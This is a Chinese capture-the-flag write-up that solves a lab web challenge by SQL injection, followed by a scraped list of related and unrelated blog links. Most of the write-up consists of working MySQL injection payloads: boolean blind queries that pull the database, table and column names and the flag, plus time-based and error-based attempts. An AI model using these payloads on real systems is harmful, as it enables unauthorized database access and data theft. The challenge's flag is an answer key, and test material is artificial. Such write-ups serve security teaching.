简单的SQL注入之3
Topic Link
http://ctf5.shiyanbar.com/web/index_3.php

1)测试正确值submit:1

测试目标和对象要明确:
2)单引号测试(判断存在字符型注入&&数据库是MySQL)

3)进一步测试 (and测试)
1' and 1=1# 显示正常

1' and 1=2# 显示不正常

判断存在注入漏洞
/*************** 一般性测试思路 ***************/
4)测试联合注入
# order by 判断列数n
1' order by 1# 正常页面

1' order by 2# 非正常页面
判断出列数为1,测试回显位

测试结果并没有回显位,联合注入查询失败
5)测试时间盲注
# 判断 if 关键字没有被过滤
1' and if(1,1,0)# 页面回显正常

1' and if(0,1,0)# 页面回显不正常

# 常见时间函数sleep() 、benchmark()被过滤
1' and if(1,sleep(5),0)#

1' and if(1,benchmark(100000000000,md5('admin')),0)#

# 测试时间盲注查询失败
6)测试布尔盲注
测试发现length()、ascii()、substr()、database()等关键函数没有被过滤,判断存在布尔盲注
测试工具:神器 Burpsuite
爆破数据库长度为4
1' and length(database())=n# n in(1,2,3,4,5,6,7,8,9.........)


@ 爆破数据库名
1' and ascii(substr(database(),m,1))=n#

第一位:w

第二位:e

第三位:b

第四位:1

爆破结果:web1
@ 爆表
爆破表的个数为2
1' and (select count(table_name) from information_schema.tables where table_schema=database())=n#


爆表
第一个表的字段长度为4
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=n#

第二个表的字段长度为5
1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=n#

第一个表的字段值为flag
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),m,1))=n#
第1位:f

第2位:l

第3位:a

第4位:g

爆字段
flag(表)
字段个数:2
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=n#


第一个字段长度:4
第二个字段长度:2
1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1))=n#



第一个字段值为:flag
1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),m,1))=n#
第1位:f

第2位:l

第3位:a

第4位:g

第二个字段值:id
1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1),m,1))=n#

第1位:i

第2位:d

爆破字段flag的值
行数:1
1' and (select count(*) from web1.flag)=n#

数据长度:26
1' and length((select flag from flag))=n#


flag:flag{Y0u_@r3_50_dAmn_900d}
1' and ascii(substr((select flag from flag),m,1)) =n#

7)基于报错的盲注
测试发现常见报错函数被过滤(查询失效)
1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#

1' updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

至此,已完成所有的任务,如有疑问欢迎大家随时交流 (*^_^*)
简单的SQL注入之3的更多相关文章
- 实验吧_简单的sql注入_1、2、3
简单的sql注入1 看着这个简单的界面,一时间没有特别好的思路,先输入一个1',发生了报错 初步猜测这是一个字符型的注入,他将我们输入的语句直接当成sql语句执行了,按题目的意思后面肯定过滤了很多注入 ...
- 【实验吧】CTF_Web_简单的SQL注入之3
实验吧第二题 who are you? 很有意思,过两天好好分析写一下.简单的SQL注入之3也很有意思,适合做手工练习,详细分析见下. http://ctf5.shiyanbar.com/web/in ...
- 【实验吧】CTF_Web_简单的SQL注入之1
题目链接:http://ctf5.shiyanbar.com/423/web/ 简单的SQL注入之1,比2,3都简单一些.利用2 的查询语句也可以实现:1'/**/union/**/select/** ...
- 简单的SQL注入学习
引贴: http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/ 首先需要编写一个php页面,讲php页面放入/opt ...
- 实验吧之【简单的sql注入 1、2、3】
实验吧的三道sql注入(感觉实验吧大部分web都是注入) 简单的SQL注入 地址:http://ctf5.shiyanbar.com/423/web/ 这道题也是sql注入,输入1,页面显示正常,输出 ...
- 实验吧简单的SQL注入1,简单的SQL注入
接上面一篇博客. 实验吧简单的sql注入1 题目连接 http://ctf5.shiyanbar.com/423/web/ 同样,直接输入 1加个但引号,结果下面有返回错误, ...
- 实验吧简单的sql注入3
今天早上起来发现有人评论说我没更新实验吧sql注入3,主要是因为前段时间都去做bugku去了 但是重做这道题发现以前的姿势不行了,exp()报错不再溢出,现在不能用这个姿势,所以这里重新整理了一遍思路 ...
- union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单
这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...
- 一道简单的SQL注入题
这是我真正意义上来说做的第一道SQL题目,感觉从这个题目里还是能学到好多东西的,这里记录一下这个题目的writeup和在其中学到的东西 link:https://www.ichunqiu.com/ba ...
- [初学Python]编写一个最简单判断SQL注入的检测工具
0x01 背景 15年那会,几乎可以说是渗透最火的一年,各种教程各种文章,本人也是有幸在那几年学到了一些皮毛,中间因学业问题将其荒废至今.当初最早学的便是,and 1=1 和 and 1=2 这最简单 ...
随机推荐
- Spring保护方法
Spring保护方法 一.使用注解保护方法 1.@Secured 由Spring Security提供,首先需要启用基于注解的方法安全性: @EnableGlobalMethodSecurity(se ...
- AngularJS多个ng-app只解析第一个的问题
<div id="1" ng-app="myApp" ng-controller="ctrl"> <table> & ...
- Python数据分析实战
Python数据分析实战(高清版)PDF 百度网盘 链接:https://pan.baidu.com/s/1nlHM1IW8MYg3z79TUwIsWg 提取码:ux8t 复制这段内容后打开百度网盘手 ...
- 编程菜鸟的日记-初学尝试编程-C++ Primer Plus 第6章编程练习6
#include <iostream> #include <string> using namespace std; const int MSIZE=100; struct j ...
- 基础java中的package的命名规则和import的使用
包的命名一般用公司域名但是注意域名后辍要放前面如下 package com.cnblogs.i.Cat//对应地址是com/cnblos/i/cat.class也就是Cat.class的地址 如果想将 ...
- Mac_Sublime Text3(mac)一些插件和快捷键
下载地址http://www.sublimetext.com/3 一.安装Package Control 按Ctrl + ` 调出console,粘贴下列安装代码到底部命令行并回车: import u ...
- h5的video下载按钮如何隐藏
h5的video下载按钮在部分手机系统上是不可用的,想要把这个按钮屏蔽掉,可苦于没有像屏蔽全屏按钮那样的伪类video::-webkit-media-controls-fullscreen-butto ...
- k8s probe
livenessProbe: httpGet: path: /abc/401 port: 8384 scheme: HTTP
- 百度地图API 自定义标注图标
通过Icon类可实现自定义标注的图标,下面示例通过参数MarkerOptions的icon属性进行设置, 也可以使用marker.setIcon()方法. <script type=" ...
- Gem::LoadError: Specified 'sqlite3' for database adapter, but the gem is not loaded
解决办法: 指定sqlite3的版本为1.3.13: gem 'sqlite3', '~> 1.3.13' 然后运行bundle update